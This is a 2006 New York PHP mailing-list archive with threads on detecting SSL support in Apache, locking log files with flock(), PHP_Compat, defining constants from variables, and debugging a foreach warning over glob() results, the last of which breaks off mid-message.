jonbaer.com (Jon Baer) Date: Sat, 15 Jul 2006 11:11:18 -0400 Subject: [nycphp-talk] Use php to check for ssl/https support in apache In-Reply-To: <44B8515D.5060302@omnistep.com> References: <44B7E8DD.2080009@beaffinitive.com> <44B838DF.2010404@omnistep.com> <27A81BE1-0F83-4054-9B56-57872B3913E2@jonbaer.com> <44B8515D.5060302@omnistep.com> Message-ID: <3DEBB5D2-1850-4384-B2E1-7C0F7006C06E@jonbaer.com> Its just not possible then if Apache can start SSL w/o a cert and on another port than 443 (although unlikely in a common setup). I think the original question pertained to mod_rewriting some URLs to a secure port if its setup w/o a manual configuration switch, the only other thing I can think of is either using a low level ext, like PHPcap (http://alcane.newffr.com/phpcap/) or something like reading banners once w/ another tool ... "nmap -sV -oG - -p 443 localhost | egrep open" ... More overkill but it would be the difference between if it is setup vs. it is running I guess :-) There is also an alternative method on the doc page, did you check that out? http://us3.php.net/apache_get_modules He reads the httpd.conf file to determine if LoadModules does pull in SSL. - Jon On Jul 14, 2006, at 10:22 PM, Rolan Yang wrote: > Apache can be started without the SSL regardless of the certificate's > existence. > I just tested my code below and phpinfo reports https even when apache > isn't listening on 443. > Sorry. You can toss it all out the window! :( > > ~Rolan > > Jon Baer wrote: >> This may sound like a dumb question but wouldn't a test for a >> specific certificate file somehow be a better sign that SSL is setup? >> >> Like attaching a check, if (file_exists('/some/path/cert.pem')) >> header >> ("Location: https://secure/path/"); >> >> ? >> >> - Jon >> >> On Jul 14, 2006, at 8:37 PM, Rolan Yang wrote: >> >> >>> Here are 2 ways to do it without resorting to fopen.. Only >>> applies if >>> your https is on the same server. The first is cleaner than the >>> second, >>> but neither are guaranteed to work. Use at your own risk. >>> >>> function check_https() { >>> ob_start(); >>> phpinfo(INFO_GENERAL); >>> $phpinfo = ob_get_contents(); >>> ob_end_clean(); >>> $s=strpos($phpinfo,'Registered PHP Streams'); >>> $e=strpos($phpinfo,"\n",$s); >>> if (strstr(substr($phpinfo,$s,$e-$s),'https')) { >>> return TRUE; >>> } >>> else { >>> return FALSE; >>> } >>> } >>> >>> function check_https2() { >>> ob_start(); >>> phpinfo(INFO_GENERAL); >>> $test=strstr(ob_get_contents(),'https'); >>> ob_end_clean(); >>> if ($test) { return TRUE;} >>> else {return FALSE;} >>> } >>> >>> ~Rolan >>> >>> Rob Marscher wrote: >>> >>>> Hi All, >>>> >>>> I've done a bit of searching and haven't been able to find if >>>> there's a >>>> means that php running on apache can determine if apache supports >>>> ssl/https connections. It would be nice my app to force an https >>>> connection on certain pages if it is available. Otherwise I'll >>>> have to >>>> do it with a manual config switch. >>>> >>>> Running apache_get_modules() and checking for mod_ssl seems like an >>>> option... but doesn't work on PHP 4.4.2 w/ Apache 1.3 which a >>>> lot of >>>> production servers still use. Any other ideas? >>>> >>>> Thanks a lot, >>>> Rob >>>> >>>> >>> _______________________________________________ >>> New York PHP Community Talk Mailing List >>> http://lists.nyphp.org/mailman/listinfo/talk >>> New York PHP Conference and Expo 2006 >>> http://www.nyphpcon.com >>> Show Your Participation in New York PHP >>> http://www.nyphp.org/show_participation.php >>> >>> >>> >> >> _______________________________________________ >> New York PHP Community Talk Mailing List >> http://lists.nyphp.org/mailman/listinfo/talk >> New York PHP Conference and Expo 2006 >> http://www.nyphpcon.com >> Show Your Participation in New York PHP >> http://www.nyphp.org/show_participation.php >> >> > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > New York PHP Conference and Expo 2006 > http://www.nyphpcon.com > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php > > From alanseiden at acm.org Sat Jul 15 14:58:38 2006 From: alanseiden at acm.org (Alan Seiden) Date: Sat, 15 Jul 2006 14:58:38 -0400 Subject: [nycphp-talk] my article about Zend/PHP on IBM System i (formerly iSeries) Message-ID: <44B93ADE.6020309@acm.org> I wrote an article describing Zend's PHP products for IBM System i (formerly i5, iSeries, AS/400). The article includes up-to-date information based on interviews with Zend personnel. http://www.mcpressonline.com/mc?1 at 206.JQisdtL8cvq.0@.6b3891e4 Alan Seiden From plehrer at gmail.com Sat Jul 15 19:09:10 2006 From: plehrer at gmail.com (Peter Lehrer) Date: Sat, 15 Jul 2006 19:09:10 -0400 Subject: [nycphp-talk] my article about Zend/PHP on IBM System i (formerly iSeries) In-Reply-To: <44B93ADE.6020309@acm.org> References: <44B93ADE.6020309@acm.org> Message-ID: Nice article. Peter On 7/15/06, Alan Seiden wrote: > > I wrote an article describing Zend's PHP products for IBM System i > (formerly i5, iSeries, AS/400). > The article includes up-to-date information based on interviews with > Zend personnel. > http://www.mcpressonline.com/mc?1 at 206.JQisdtL8cvq.0@.6b3891e4 > > Alan Seiden > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > New York PHP Conference and Expo 2006 > http://www.nyphpcon.com > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php > -------------- next part -------------- An HTML attachment was scrubbed... URL: From rrothe at ana.net Sat Jul 15 21:07:38 2006 From: rrothe at ana.net (Rothe, Robert) Date: Sat, 15 Jul 2006 21:07:38 -0400 Subject: [nycphp-talk] Question about htaccess logs Message-ID: The user name should be the third item in Apache's access log (for both common and combined formats). More information is available here: http://httpd.apache.org/docs/1.3/logs.htm or here http://httpd.apache.org/docs/2.0/logs.html ________________________________ From: talk-bounces at lists.nyphp.org on behalf of Joe Lee Sent: Fri 7/14/2006 2:27 PM To: talk at lists.nyphp.org Subject: [nycphp-talk] Question about htaccess logs Hi All, I have a htpasswd setup for a site. Is there any sort of logs to see when a user have logged in using the htaccess account? -joe _______________________________________________ New York PHP Community Talk Mailing List http://lists.nyphp.org/mailman/listinfo/talk New York PHP Conference and Expo 2006 http://www.nyphpcon.com Show Your Participation in New York PHP http://www.nyphp.org/show_participation.php -------------- next part -------------- A non-text attachment was scrubbed... Name: winmail.dat Type: application/ms-tnef Size: 3866 bytes Desc: not available URL: From rothmail at comcast.net Sun Jul 16 21:42:34 2006 From: rothmail at comcast.net (David A.Roth) Date: Sun, 16 Jul 2006 21:42:34 -0400 Subject: [nycphp-talk] Logging and file locking. Message-ID: <8e75ccd3a63e3586897db65d76f9512a@comcast.net> When you do your own logging of various events to text logfiles created from PHP, is file locking needed or does Linux handle this for us? I am designing a new web application which will have multiple processes appending to the same text logfile, and I'm concerned entries might get lost. If the answer is yes you need to do your own file locking, I'd be interested to know how you handle the problem yourself and a pointer to resources/discussion would be appreciated. Thanks! David Roth From tuon1 at netzero.net Sun Jul 16 22:11:32 2006 From: tuon1 at netzero.net (tuon1 at netzero.net) Date: Mon, 17 Jul 2006 02:11:32 GMT Subject: [nycphp-talk] Banner Rotation Package Message-ID: <20060716.191220.8332.346766@webmail24.nyc.untd.com> An embedded and charset-unspecified text was scrubbed... Name: not available URL: -------------- next part -------------- An HTML attachment was scrubbed... URL: From dene at ulmschneiders.com Mon Jul 17 08:06:46 2006 From: dene at ulmschneiders.com (Dene Ulmschneider) Date: Mon, 17 Jul 2006 08:06:46 -0400 Subject: [nycphp-talk] unsubscribe Message-ID: <001601c6a999$7a293850$0201a8c0@Monster> -- This message has been scanned for viruses and dangerous content by Data Techie eMail Scrubber at www.datatechie.com, www.datatechie.com, and is believed to be clean. -------------- next part -------------- An HTML attachment was scrubbed... URL: From rrothe at ana.net Mon Jul 17 08:22:28 2006 From: rrothe at ana.net (Rothe, Robert) Date: Mon, 17 Jul 2006 08:22:28 -0400 Subject: [nycphp-talk] Logging and file locking. Message-ID: Here is a very simple example of cooperative locking. Be sure to read the PHP flock() docs concerning locking files opened with truncation -- which is not the case in this example. This was written long ago and I recall testing it on both *nix and Win. It creates a simple text log file with date, time, IP, and a passed string. As a byproduct, it also auto-rotates daily. function WriteLog( $s ) { global $LOG_FILE_PATH; $fn = $LOG_FILE_PATH.'log-'.date('Ymd'); // Open file (or create it). You should check for errors. $fp = fopen( $fn, 'a' ); /* * flock() will block waiting for another proc to release acquired * lock. You should probably check error condition here. See docs * for how to get EWOULDBLOCK flag. */ flock($fp, LOCK_EX ); /* * See to end, write, and then close. Fclose() releases all locks. * Check for errors as appropriate. */ fseek( $fp, 0, SEEK_END ); fwrite($fp, date('Y-m-d H:i:s ')); // Write date/time fwrite($fp, $_SERVER['REMOTE_ADDR'].' '); //Write IP fwrite($fp, $s."\n"); // Write passed string and newline. fclose($fp); // Close file which releases lock. } -----Original Message----- From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] On Behalf Of David A.Roth Sent: Sunday, July 16, 2006 9:43 PM To: talk at lists.nyphp.org Subject: [nycphp-talk] Logging and file locking. When you do your own logging of various events to text logfiles created from PHP, is file locking needed or does Linux handle this for us? I am designing a new web application which will have multiple processes appending to the same text logfile, and I'm concerned entries might get lost. If the answer is yes you need to do your own file locking, I'd be interested to know how you handle the problem yourself and a pointer to resources/discussion would be appreciated. Thanks! David Roth _______________________________________________ New York PHP Community Talk Mailing List http://lists.nyphp.org/mailman/listinfo/talk NYPHPCon 2006 Presentations Online http://www.nyphpcon.com Show Your Participation in New York PHP http://www.nyphp.org/show_participation.php From jbaer at VillageVoice.com Mon Jul 17 12:32:40 2006 From: jbaer at VillageVoice.com (Baer, Jon) Date: Mon, 17 Jul 2006 12:32:40 -0400 Subject: [nycphp-talk] PHP_Compat - any issues? Message-ID: <4D2FAD9B00577645932AD7ED5FECA24502DC7CF8@mail> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Im trying to make use of a library implementing a few file_put_contents() features on an older system and was looking to see if it was better to use this entire PEAR package or just rip out + use functions specific to my need. Has anyone use this package on < PHP5 w/ any issues? Ive not had to use it before + just want to see if there was any feedback, I can note that using a framework that provides legacy functions like Cake would have some, but not many ... Thoughts? Thanks. - - Jon -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.3 (MingW32) iD8DBQFEu7un99e5DI8C/rsRAqMPAKDa4W/XD6odxqq8Hneib8QyxEwZOACg4nf0 u8iyHEihUAd9FtTfrV36NMo= =3Qm1 -----END PGP SIGNATURE----- -------------- next part -------------- An HTML attachment was scrubbed... URL: -------------- next part -------------- An HTML attachment was scrubbed... URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: PGPexch.htm.asc Type: application/pgp-signature Size: 194 bytes Desc: not available URL: From jbaer at VillageVoice.com Mon Jul 17 13:22:30 2006 From: jbaer at VillageVoice.com (Baer, Jon) Date: Mon, 17 Jul 2006 13:22:30 -0400 Subject: [nycphp-talk] PHP_Compat - any issues? Message-ID: <4D2FAD9B00577645932AD7ED5FECA24502DC7D20@mail> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Sorry .. I should have read the docs over more before posting, I saw PHP_Compat::loadFunction() allows for single function to be imported (vs. an entire library of calls). - - Jon - -----Original Message----- From: Baer, Jon Sent: Monday, July 17, 2006 12:33 PM To: 'NYPHP Talk' Subject: PHP_Compat - any issues? - -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Im trying to make use of a library implementing a few file_put_contents() features on an older system and was looking to see if it was better to use this entire PEAR package or just rip out + use functions specific to my need. Has anyone use this package on < PHP5 w/ any issues? Ive not had to use it before + just want to see if there was any feedback, I can note that using a framework that provides legacy functions like Cake would have some, but not many ... Thoughts? Thanks. - - - Jon - -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.3 (MingW32) iD8DBQFEu7un99e5DI8C/rsRAqMPAKDa4W/XD6odxqq8Hneib8QyxEwZOACg4nf0 u8iyHEihUAd9FtTfrV36NMo= =3Qm1 - -----END PGP SIGNATURE----- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.3 (MingW32) iD8DBQFEu8dW99e5DI8C/rsRAoA6AJ9RzyPuAHnsddGYu2TofEWQwPfSRACfbFa0 Cd0jwmCgN43KHBNpcIWmI5I= =wZFl -----END PGP SIGNATURE----- From plehrer at gmail.com Mon Jul 17 14:14:38 2006 From: plehrer at gmail.com (Peter Lehrer) Date: Mon, 17 Jul 2006 14:14:38 -0400 Subject: [nycphp-talk] free dsl modem Message-ID: Does anyone want a free dsl modem/router with accompanied attachments? I could meet you at a PHP meeting and give it to you. Please reply off list. Peter Lehrer plehrer at gmail.com -------------- next part -------------- An HTML attachment was scrubbed... URL: From Consult at CovenantEDesign.com Mon Jul 17 15:43:29 2006 From: Consult at CovenantEDesign.com (CED) Date: Mon, 17 Jul 2006 15:43:29 -0400 Subject: [nycphp-talk] foreach ERROR Message-ID: <004c01c6a9d9$47f82540$0619a8c0@ced> Sirs, I have used variables many times in foreach statements... and having spent several hours tryignt o debug this I thought I'd throw it out here: 1.. 12.. 13.. ') ; ?> 14.. 15.. ' ; 16.. 17.. $sFolder = '../Audio/Music' ; 18.. foreach(readD($sFolder) as $item) 19.. { PHP keeps erroring on Lines 5 and 18. Any thoughts? Is this a bug? Am I a moron? -------------- next part -------------- An HTML attachment was scrubbed... URL: From randalrust at gmail.com Mon Jul 17 15:48:25 2006 From: randalrust at gmail.com (Randal Rust) Date: Mon, 17 Jul 2006 15:48:25 -0400 Subject: [nycphp-talk] Passing a variable to a constant Message-ID: I'd like to pass a variable to a constant, like so: $imageDir='/uploads/'.$orgID.'/images/'; define('IMAGE_PATH_DIRECTORY', $imageDir) It doesn't seem to be working. Every time I check the value, the $orgID is missing. I can print it to the screen (it's held in the $_SESSION), so I know it's there. My guess is that I just can't do this, and I'm not finding anything via Google or php.net that tells me otherwise. -- Randal Rust R.Squared Communications www.r2communications.com From dorgan at optonline.net Mon Jul 17 15:54:31 2006 From: dorgan at optonline.net (Donald J Organ IV) Date: Mon, 17 Jul 2006 15:54:31 -0400 Subject: [nycphp-talk] Passing a variable to a constant In-Reply-To: References: Message-ID: <44BBEAF7.4070609@optonline.net> Why use a constant in that case, why not refer to the variable. Constants are meant not to be changed. Randal Rust wrote: > I'd like to pass a variable to a constant, like so: > > $imageDir='/uploads/'.$orgID.'/images/'; > define('IMAGE_PATH_DIRECTORY', $imageDir) > > It doesn't seem to be working. Every time I check the value, the > $orgID is missing. I can print it to the screen (it's held in the > $_SESSION), so I know it's there. My guess is that I just can't do > this, and I'm not finding anything via Google or php.net that tells me > otherwise. > > From randalrust at gmail.com Mon Jul 17 15:56:42 2006 From: randalrust at gmail.com (Randal Rust) Date: Mon, 17 Jul 2006 15:56:42 -0400 Subject: [nycphp-talk] Passing a variable to a constant In-Reply-To: <44BBEAF7.4070609@optonline.net> References: <44BBEAF7.4070609@optonline.net> Message-ID: On 7/17/06, Donald J Organ IV wrote:\ > Why use a constant in that case, why not refer to the variable. > Constants are meant not to be changed. I think that may be what I have to look into. I am modifying a third-party script, and the image directories have to be specific to the organization ID of the logged in user. -- Randal Rust R.Squared Communications www.r2communications.com From jbaer at VillageVoice.com Mon Jul 17 15:58:39 2006 From: jbaer at VillageVoice.com (Baer, Jon) Date: Mon, 17 Jul 2006 15:58:39 -0400 Subject: [nycphp-talk] foreach ERROR In-Reply-To: <004c01c6a9d9$47f82540$0619a8c0@ced> Message-ID: <4D2FAD9B00577645932AD7ED5FECA24502DC7D8F@mail> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Does it bail out even w/ an absolute path? Ie: $sFolder = '/full/path/to/Audio/Music' The directory change in ".." might be a security issue. - - Jon - -----Original Message----- From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] On Behalf Of CED Sent: Monday, July 17, 2006 3:43 PM To: NYPHP Talk Subject: [nycphp-talk] foreach ERROR Sirs, I have used variables many times in foreach statements... and having spent several hours tryignt o debug this I thought I'd throw it out here: 1. 12. 13. ') ; ?> 14. 15. ' ; 16. 17. $sFolder = '../Audio/Music' ; 18. foreach(readD($sFolder) as $item) 19. { PHP keeps erroring on Lines 5 and 18. Any thoughts? Is this a bug? Am I a moron? -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.3 (MingW32) iD8DBQFEu+vv99e5DI8C/rsRAhdMAJ9U3IDKMrjOmLZaUbhApdH1kbf/EwCfdEpi jS9ybm9I+DA+rftW3SS80Q8= =Ipnj -----END PGP SIGNATURE----- From lists at jack-scott.com Mon Jul 17 16:11:08 2006 From: lists at jack-scott.com (lists at jack-scott.com) Date: Mon, 17 Jul 2006 16:11:08 -0400 Subject: [nycphp-talk] foreach ERROR In-Reply-To: <004c01c6a9d9$47f82540$0619a8c0@ced> References: <004c01c6a9d9$47f82540$0619a8c0@ced> Message-ID: <1153167068.18340.0.camel@localhost> On Mon, 2006-07-17 at 15:43 -0400, CED wrote: > Sirs, > > I have used variables many times in foreach statements... and having > spent several hours tryignt o debug this I thought I'd throw it out > here: > > > 1. 2. function readD($dir){ > 3. if(!$dir){$dir = '.';} > 4. foreach(glob("$dir/*.mp3") as $item){$sort[]= end(explode('/', > $item));} > 5. foreach($sort as $sorteditem){ > 6. if($sort){natsort($sort);} > 7. foreach($sort as $item){$return[]= $item;} > 8. if(!$return){return array();} > 9. } > 10. return $return; > 11. } ?> > 12. > 13. ') ; ?> > 14. autoStart="yes"> > 15. ' ; > 17. $sFolder = '../Audio/Music' ; > 18. foreach(readD($sFolder) as $item) > 19. { > > PHP keeps erroring on Lines 5 and 18. Any thoughts? Is this a bug? Am > I a moron? what are the errors? Is line five looping on an empty array -------------- next part -------------- An HTML attachment was scrubbed... URL: From Consult at CovenantEDesign.com Mon Jul 17 16:12:57 2006 From: Consult at CovenantEDesign.com (CED) Date: Mon, 17 Jul 2006 16:12:57 -0400 Subject: [nycphp-talk] foreach ERROR References: <4D2FAD9B00577645932AD7ED5FECA24502DC7D8F@mail> Message-ID: <001201c6a9dd$6571c820$0619a8c0@ced> Yep errors even with a full path. ----- Original Message ----- From: "Baer, Jon" To: "NYPHP Talk" Sent: Monday, July 17, 2006 3:58 PM Subject: Re: [nycphp-talk] foreach ERROR -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Does it bail out even w/ an absolute path? Ie: $sFolder = '/full/path/to/Audio/Music' The directory change in ".." might be a security issue. - - Jon - -----Original Message----- From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] On Behalf Of CED Sent: Monday, July 17, 2006 3:43 PM To: NYPHP Talk Subject: [nycphp-talk] foreach ERROR Sirs, I have used variables many times in foreach statements... and having spent several hours tryignt o debug this I thought I'd throw it out here: 1. 12. 13. ') ; ?> 14. 15. ' ; 16. 17. $sFolder = '../Audio/Music' ; 18. foreach(readD($sFolder) as $item) 19. { PHP keeps erroring on Lines 5 and 18. Any thoughts? Is this a bug? Am I a moron? -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.3 (MingW32) iD8DBQFEu+vv99e5DI8C/rsRAhdMAJ9U3IDKMrjOmLZaUbhApdH1kbf/EwCfdEpi jS9ybm9I+DA+rftW3SS80Q8= =Ipnj -----END PGP SIGNATURE----- _______________________________________________ New York PHP Community Talk Mailing List http://lists.nyphp.org/mailman/listinfo/talk NYPHPCon 2006 Presentations Online http://www.nyphpcon.com Show Your Participation in New York PHP http://www.nyphp.org/show_participation.php From Consult at CovenantEDesign.com Mon Jul 17 16:17:42 2006 From: Consult at CovenantEDesign.com (CED) Date: Mon, 17 Jul 2006 16:17:42 -0400 Subject: [nycphp-talk] foreach ERROR References: <004c01c6a9d9$47f82540$0619a8c0@ced> <1153167068.18340.0.camel@localhost> Message-ID: <002a01c6a9de$0f47b7b0$0619a8c0@ced> www.EdwardPrevost.info/Audio You'll see the basic structure there /Music is the MP3 files /mp3 is the PHP file The error is a basic WARNING Invalid argument supplied for foreach() on line 5. Same thing reported for Line 18. ----- Original Message ----- From: lists at jack-scott.com To: NYPHP Talk Sent: Monday, July 17, 2006 4:11 PM Subject: Re: [nycphp-talk] foreach ERROR On Mon, 2006-07-17 at 15:43 -0400, CED wrote: Sirs, I have used variables many times in foreach statements... and having spent several hours tryignt o debug this I thought I'd throw it out here: 1.. 12.. 13.. ') ; ?> 14.. 15.. ' ; 17.. $sFolder = '../Audio/Music' ; 18.. foreach(readD($sFolder) as $item) 19.. { PHP keeps erroring on Lines 5 and 18. Any thoughts? Is this a bug? Am I a moron? what are the errors? Is line five looping on an empty array ------------------------------------------------------------------------------ _______________________________________________ New York PHP Community Talk Mailing List http://lists.nyphp.org/mailman/listinfo/talk NYPHPCon 2006 Presentations Online http://www.nyphpcon.com Show Your Participation in New York PHP http://www.nyphp.org/show_participation.php -------------- next part -------------- An HTML attachment was scrubbed... URL: From lists at jack-scott.com Mon Jul 17 16:18:29 2006 From: lists at jack-scott.com (lists at jack-scott.com) Date: Mon, 17 Jul 2006 16:18:29 -0400 Subject: [nycphp-talk] foreach ERROR In-Reply-To: <001201c6a9dd$6571c820$0619a8c0@ced> References: <4D2FAD9B00577645932AD7ED5FECA24502DC7D8F@mail> <001201c6a9dd$6571c820$0619a8c0@ced> Message-ID: <1153167509.18338.2.camel@localhost> can you post the errors? On Mon, 2006-07-17 at 16:12 -0400, CED wrote: > Yep errors even with a full path. > > ----- Original Message ----- > From: "Baer, Jon" > To: "NYPHP Talk" > Sent: Monday, July 17, 2006 3:58 PM > Subject: Re: [nycphp-talk] foreach ERROR > > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Does it bail out even w/ an absolute path? Ie: $sFolder = > '/full/path/to/Audio/Music' > > The directory change in ".." might be a security issue. > > - - Jon > > - -----Original Message----- > From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] > On Behalf Of CED > Sent: Monday, July 17, 2006 3:43 PM > To: NYPHP Talk > Subject: [nycphp-talk] foreach ERROR > > Sirs, > > I have used variables many times in foreach statements... and having > spent several hours tryignt o debug this I thought I'd throw it out > here: > > > 1. 2. function readD($dir){ > 3. if(!$dir){$dir = '.';} > 4. foreach(glob("$dir/*.mp3") as $item){$sort[]= > end(explode('/',$item));} > 5. foreach($sort as $sorteditem){ > 6. if($sort){natsort($sort);} > 7. foreach($sort as $item){$return[]= $item;} > 8. if(!$return){return array();} > 9. } > 10. return $return; > 11. } ?> > 12. > 13. ') ; ?> > 14. autoStart="yes"> > 15. ' ; > 16. > 17. $sFolder = '../Audio/Music' ; > 18. foreach(readD($sFolder) as $item) > 19. { > > PHP keeps erroring on Lines 5 and 18. Any thoughts? Is this a bug? Am I > a moron? > > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.3 (MingW32) > > iD8DBQFEu+vv99e5DI8C/rsRAhdMAJ9U3IDKMrjOmLZaUbhApdH1kbf/EwCfdEpi > jS9ybm9I+DA+rftW3SS80Q8= > =Ipnj > -----END PGP SIGNATURE----- > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > > NYPHPCon 2006 Presentations Online > http://www.nyphpcon.com > > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php > > > > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > > NYPHPCon 2006 Presentations Online > http://www.nyphpcon.com > > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From lists at jack-scott.com Mon Jul 17 16:25:13 2006 From: lists at jack-scott.com (lists at jack-scott.com) Date: Mon, 17 Jul 2006 16:25:13 -0400 Subject: [nycphp-talk] foreach ERROR In-Reply-To: <002a01c6a9de$0f47b7b0$0619a8c0@ced> References: <004c01c6a9d9$47f82540$0619a8c0@ced> <1153167068.18340.0.camel@localhost> <002a01c6a9de$0f47b7b0$0619a8c0@ced> Message-ID: <1153167913.18344.6.camel@localhost> you are certain you arrays are not empty? try scandir( dir() ) will return array of files and directories in the current working directory. from there you can use something like is_file() is_dir() to weed out the desired results. On Mon, 2006-07-17 at 16:17 -0400, CED wrote: > ? > > www.EdwardPrevost.info/Audio > > You'll see the basic structure there > /Music is the MP3 files > /mp3 is the PHP file > > The error is a basic WARNING Invalid argument supplied for foreach() > on line 5. Same thing reported for Line 18. > ----- Original Message ----- > From: lists at jack-scott.com > To: NYPHP Talk > Sent: Monday, July 17, 2006 4:11 PM > Subject: Re: [nycphp-talk] foreach ERROR > > > > > On Mon, 2006-07-17 at 15:43 -0400, CED wrote: > > > Sirs, > > I have used variables many times in foreach statements... > > and having spent several hours tryignt o debug this I > > thought I'd throw it out here: > > 1. > 2. function readD($dir){ > > 3. if(!$dir){$dir = '.';} > > 4. foreach(glob("$dir/*.mp3") as $item){$sort[]= > > end(explode('/',$item));} > > 5. foreach($sort as $sorteditem){ > > 6. if($sort){natsort($sort);} > > 7. foreach($sort as $item){$return[]= $item;} > > 8. if(!$return){return array();} > > 9. } > > 10. return $return; > > 11. } ?> > > 12. > > 13. > > ') ; ?> > > 14. > autoStart="yes"> > > 15. ' ; > > 17. $sFolder = '../Audio/Music' ; > > 18. foreach(readD($sFolder) as $item) > > 19. { > > PHP keeps erroring on Lines 5 and 18. Any thoughts? Is this > > a bug? Am I a moron? > > > what are the errors? Is line five looping on an empty array -------------- next part -------------- An HTML attachment was scrubbed... URL: From cahoyos at us.ibm.com Mon Jul 17 16:32:10 2006 From: cahoyos at us.ibm.com (Carlos A Hoyos) Date: Mon, 17 Jul 2006 16:32:10 -0400 Subject: [nycphp-talk] Passing a variable to a constant In-Reply-To: Message-ID: > I'd like to pass a variable to a constant, like so: > > $imageDir='/uploads/'.$orgID.'/images/'; > define('IMAGE_PATH_DIRECTORY', $imageDir) > > It doesn't seem to be working. Every time I check the value, the > $orgID is missing. I can print it to the screen (it's held in the There shouldn't be any problem in defining a constant through a variable. What is not allowed, and will be ignored, is to redefine or change a constant. If the constant IMAGE_PATH_DIRECTORY, had previously been defined, your code will be ignored. Carlos Hoyos From rmarscher at beaffinitive.com Mon Jul 17 17:21:08 2006 From: rmarscher at beaffinitive.com (Rob Marscher) Date: Mon, 17 Jul 2006 17:21:08 -0400 Subject: [nycphp-talk] foreach ERROR In-Reply-To: <002a01c6a9de$0f47b7b0$0619a8c0@ced> References: <004c01c6a9d9$47f82540$0619a8c0@ced> <1153167068.18340.0.camel@localhost> <002a01c6a9de$0f47b7b0$0619a8c0@ced> Message-ID: <44BBFF44.4040603@beaffinitive.com> I'm pretty certain what's happening here is that the glob function is returning an empty array which is why the foreach on line 4 doesn't give an error, but it also doesn't set $sort to anything. foreach requires that the first argument is an array. So that's why you get errors on lines 5 and 18. You should add a condition between line 4 and 5 that does something like "if (! is_array($sort))" and then displays an empty xml doc and exits if that is the case. -Rob CED wrote: > www.EdwardPrevost.info/Audio > > You'll see the basic structure there > /Music is the MP3 files > /mp3 is the PHP file > > The error is a basic WARNING Invalid argument supplied for foreach() on > line 5. Same thing reported for Line 18. > > ----- Original Message ----- > *From:* lists at jack-scott.com > *To:* NYPHP Talk > *Sent:* Monday, July 17, 2006 4:11 PM > *Subject:* Re: [nycphp-talk] foreach ERROR > > > On Mon, 2006-07-17 at 15:43 -0400, CED wrote: >> Sirs, >> I have used variables many times in foreach statements... and >> having spent several hours tryignt o debug this I thought I'd >> throw it out here: >> >> 1. > 2. function readD($dir){ >> 3. if(!$dir){$dir = '.';} >> 4. foreach(glob("$dir/*.mp3") as $item){$sort[]= >> end(explode('/',$item));} >> 5. foreach($sort as $sorteditem){ >> 6. if($sort){natsort($sort);} >> 7. foreach($sort as $item){$return[]= $item;} >> 8. if(!$return){return array();} >> 9. } >> 10. return $return; >> 11. } ?> >> 12. >> 13. ') ; ?> >> 14. > autoStart="yes"> >> 15. ' ; >> 17. $sFolder = '../Audio/Music' ; >> 18. foreach(readD($sFolder) as $item) >> 19. { >> PHP keeps erroring on Lines 5 and 18. Any thoughts? Is this a bug? >> Am I a moron? > > what are the errors? Is line five looping on an empty array > > ------------------------------------------------------------------------ > > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > > NYPHPCon 2006 Presentations Online > http://www.nyphpcon.com > > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php > > > ------------------------------------------------------------------------ > > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > > NYPHPCon 2006 Presentations Online > http://www.nyphpcon.com > > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php From Consult at CovenantEDesign.com Mon Jul 17 18:45:50 2006 From: Consult at CovenantEDesign.com (CED) Date: Mon, 17 Jul 2006 18:45:50 -0400 Subject: [nycphp-talk] foreach ERROR References: <004c01c6a9d9$47f82540$0619a8c0@ced> <1153167068.18340.0.camel@localhost><002a01c6a9de$0f47b7b0$0619a8c0@ced> <44BBFF44.4040603@beaffinitive.com> Message-ID: <00a801c6a9f2$c2d9a0e0$0619a8c0@ced> The IF statement does solve the one warning... but the foreach call including the function is still erroring. ----- Original Message ----- From: "Rob Marscher" To: "NYPHP Talk" Sent: Monday, July 17, 2006 5:21 PM Subject: Re: [nycphp-talk] foreach ERROR I'm pretty certain what's happening here is that the glob function is returning an empty array which is why the foreach on line 4 doesn't give an error, but it also doesn't set $sort to anything. foreach requires that the first argument is an array. So that's why you get errors on lines 5 and 18. You should add a condition between line 4 and 5 that does something like "if (! is_array($sort))" and then displays an empty xml doc and exits if that is the case. -Rob CED wrote: > www.EdwardPrevost.info/Audio > > You'll see the basic structure there > /Music is the MP3 files > /mp3 is the PHP file > > The error is a basic WARNING Invalid argument supplied for foreach() on > line 5. Same thing reported for Line 18. > > ----- Original Message ----- > *From:* lists at jack-scott.com > *To:* NYPHP Talk > *Sent:* Monday, July 17, 2006 4:11 PM > *Subject:* Re: [nycphp-talk] foreach ERROR > > > On Mon, 2006-07-17 at 15:43 -0400, CED wrote: >> Sirs, >> I have used variables many times in foreach statements... and >> having spent several hours tryignt o debug this I thought I'd >> throw it out here: >> >> 1. > 2. function readD($dir){ >> 3. if(!$dir){$dir 